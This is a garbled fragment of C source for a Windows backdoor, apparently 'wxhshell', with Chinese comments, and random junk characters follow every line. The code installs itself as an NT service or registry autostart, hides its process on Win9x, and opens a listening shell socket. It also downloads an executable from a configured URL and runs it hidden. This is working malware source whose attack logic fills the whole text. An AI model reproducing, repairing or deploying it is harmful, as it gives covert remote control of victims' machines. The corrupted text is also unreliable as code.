ULONG UniqueProcessId; ITvHD-,\
ULONG InheritedFromUniqueProcessId; -tP.S1D
} PROCESS_BASIC_INFORMATION; yBe(^ n
ZR
mPP
PROCNTQSIP NtQueryInformationProcess; ?!m ma\W
/Sj_y*x1e
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2IzfP;V?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $jcz?vH
k~|ZO/X@l%
HANDLE hProcess; cG(0q[
PROCESS_BASIC_INFORMATION pbi; |_I[1%&`N
gMay
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9:\A7 =
if(NULL == hInst ) return 0; DpNX66O
O3xz|&xY&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m)k-uWc$C
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I}%mfojC
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $Sw,hb
Hn^sW
LT
if (!NtQueryInformationProcess) return 0; 6vWii)O.D
$QffrU'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _UIgRkl.
if(!hProcess) return 0; >3$uu+p1F
!Sfe{/$w
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &<t79d%{
3Tw%W0q
CloseHandle(hProcess); ](n69XX_
Bxt_a.LthH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); un&>
if(hProcess==NULL) return 0; dcP88!#5-
X&,N}9>B
HMODULE hMod; >vxWx[fRu
char procName[255]; )BpIxWd?
unsigned long cbNeeded; vVdxi9yk
.S(^roM;+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ku-cn2M/
{[lx!QF 8&
CloseHandle(hProcess); V^WQ6G1
R05T5Q1]A
if(strstr(procName,"services")) return 1; // 以服务启动 6Ok,_
!
9JXhHAxD
return 0; // 注册表启动 `>y[wa>9r
} 8(uw0~GO
*Ji9%IA
// 主模块 Sy:K:Z|[U
int StartWxhshell(LPSTR lpCmdLine) 9<w=),R`8
{ `U!(cDY
SOCKET wsl; d(\ 1 }l
BOOL val=TRUE; flPZlL
int port=0; vj(@.uU)
struct sockaddr_in door; sgD@}":m
@21u I{
if(wscfg.ws_autoins) Install(); L*IU0Jy>
%Au T8
port=atoi(lpCmdLine); nE^wxtY
k=FcPF"
if(port<=0) port=wscfg.ws_port; pBvo M={2!
W*3o|x
WSADATA data; Ipg\9*c`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ym[+Rw
,A^L=+
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &!4(
0u
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tRkrV]K
door.sin_family = AF_INET; zK,~ 37)\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "wF*O"WQo
door.sin_port = htons(port); Ag<4r
c.\:peDk
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { svF*@(-P#
closesocket(wsl); EJv! tyJ\[
return 1; ;+r0
O0;9
} rrbZ+*U
Re7{[*Q4
if(listen(wsl,2) == INVALID_SOCKET) { +6uOg,;
closesocket(wsl); Hc>([?P%t
return 1; 8R&z3k;!t
} XpOCQyFnM
Wxhshell(wsl); ~;TV74~rr
WSACleanup(); E8+8{
#f;
vsjM3=
return 0; gp%tMTI1
Q4#\{" N!
} #T
Z!#,q
7%W!k zp>
// 以NT服务方式启动 zkH<aLRB
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EWSr@}2j
.
{ ws#hhW3qK
DWORD status = 0; l
DgzM3
DWORD specificError = 0xfffffff; h)"'YzCt
FyQOa) 5
serviceStatus.dwServiceType = SERVICE_WIN32; W5TqC
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >Zi|$@7t-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K~P76jAe$
serviceStatus.dwWin32ExitCode = 0; HE9.
k.sS
serviceStatus.dwServiceSpecificExitCode = 0; "MW55OWYU
serviceStatus.dwCheckPoint = 0; 1LV|t+Sex
serviceStatus.dwWaitHint = 0; "tpvENz2s
*
.oi3m
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \%Pma8&d
if (hServiceStatusHandle==0) return; R%Kl&c
t!NrB X
status = GetLastError(); (q055y
if (status!=NO_ERROR) k&n\
=tKN
{ 4U_rB9K$
serviceStatus.dwCurrentState = SERVICE_STOPPED; o-~-F+mj#
serviceStatus.dwCheckPoint = 0; gGF$M
`
serviceStatus.dwWaitHint = 0; ^.nwc#
serviceStatus.dwWin32ExitCode = status; %
E<FB ;h
serviceStatus.dwServiceSpecificExitCode = specificError; w;@`Yi.WQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^XtHF|%0T
return; fN~8L}!l
} +SP!R[a
Vx0MG{vG1
serviceStatus.dwCurrentState = SERVICE_RUNNING; :h3#1fko
serviceStatus.dwCheckPoint = 0; !$g(&
serviceStatus.dwWaitHint = 0; avF&F
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f:)]FHPB1
} 8Ng))7g!
1t!&xvhG
// 处理NT服务事件,比如:启动、停止 |j\eBCnH3
VOID WINAPI NTServiceHandler(DWORD fdwControl) OFJJ-4[_3
{ c }g$1of87
switch(fdwControl) \mqhugy
{ \UVT_=Y
case SERVICE_CONTROL_STOP: F0DPS:c
serviceStatus.dwWin32ExitCode = 0; DK2c]i^|=
serviceStatus.dwCurrentState = SERVICE_STOPPED; TiwHLb9
serviceStatus.dwCheckPoint = 0; :FEd:0TS
serviceStatus.dwWaitHint = 0; J$o[$G_Z
{ 1',+&2)oj
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k
i~Raa/e
} ":5~L9&G
return; uOy\{5s8
case SERVICE_CONTROL_PAUSE: }s8*QfK>
serviceStatus.dwCurrentState = SERVICE_PAUSED; g;|
n8]
break; N9~'P-V
case SERVICE_CONTROL_CONTINUE: +z{x 7
serviceStatus.dwCurrentState = SERVICE_RUNNING; ."$=
break; BN bb&]
case SERVICE_CONTROL_INTERROGATE: UFSEobhg&5
break; kW*W4{Fth
}; 3?-V>-[G_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LWp?U!N
} LGdf_M-f
0~LnnDN
// 标准应用程序主函数 hfVzzVX:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) bYRQI=gW':
{ FuRn%)DA5
>rQ)|W=i
// 获取操作系统版本 Br?++\
OsIsNt=GetOsVer(); ~cWLu5
GetModuleFileName(NULL,ExeFile,MAX_PATH); Pj^k
pjV
~8S4Kj)%
// 从命令行安装 ]kU~#WT
if(strpbrk(lpCmdLine,"iI")) Install(); SV$ASs
< :S?t2C
// 下载执行文件 r)*_,Fo|
if(wscfg.ws_downexe) { 3@#,i<ge :
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -0[>}!l=G
WinExec(wscfg.ws_filenam,SW_HIDE); n~L'icD[
} [xH2n\7
&QHA_+88W
if(!OsIsNt) { m"ki*9]
// 如果时win9x,隐藏进程并且设置为注册表启动 [m@e^6F0U
HideProc(); 6M2i?c
StartWxhshell(lpCmdLine); Xl gz.j7XR
} .-gm"lB
else WoN]eO
if(StartFromService()) B%?|br
// 以服务方式启动 (rCPr,@0
StartServiceCtrlDispatcher(DispatchTable); pD)/-Dgdm
else W"DxIy
// 普通方式启动 s`dkEaS
StartWxhshell(lpCmdLine); w^vK7Z
1$
0o\=0bH&s
return 0; *8(t y%5F0
} a-o
hS=W
2gNBPd )I
tF) k6*+
~=aI2(b
=========================================== h_}BmJ h_
nY.Umj
pNk,jeo
^U|CNB%.
^Ypb"Wx8
_@}MGWlAPt
" <CdG[Ih
RaJ}>e
#include <stdio.h> FkkZyCqZ`
#include <string.h> #6#BSZ E
#include <windows.h> #gr+%=S'6C
#include <winsock2.h> m/"=5*pA
#include <winsvc.h> &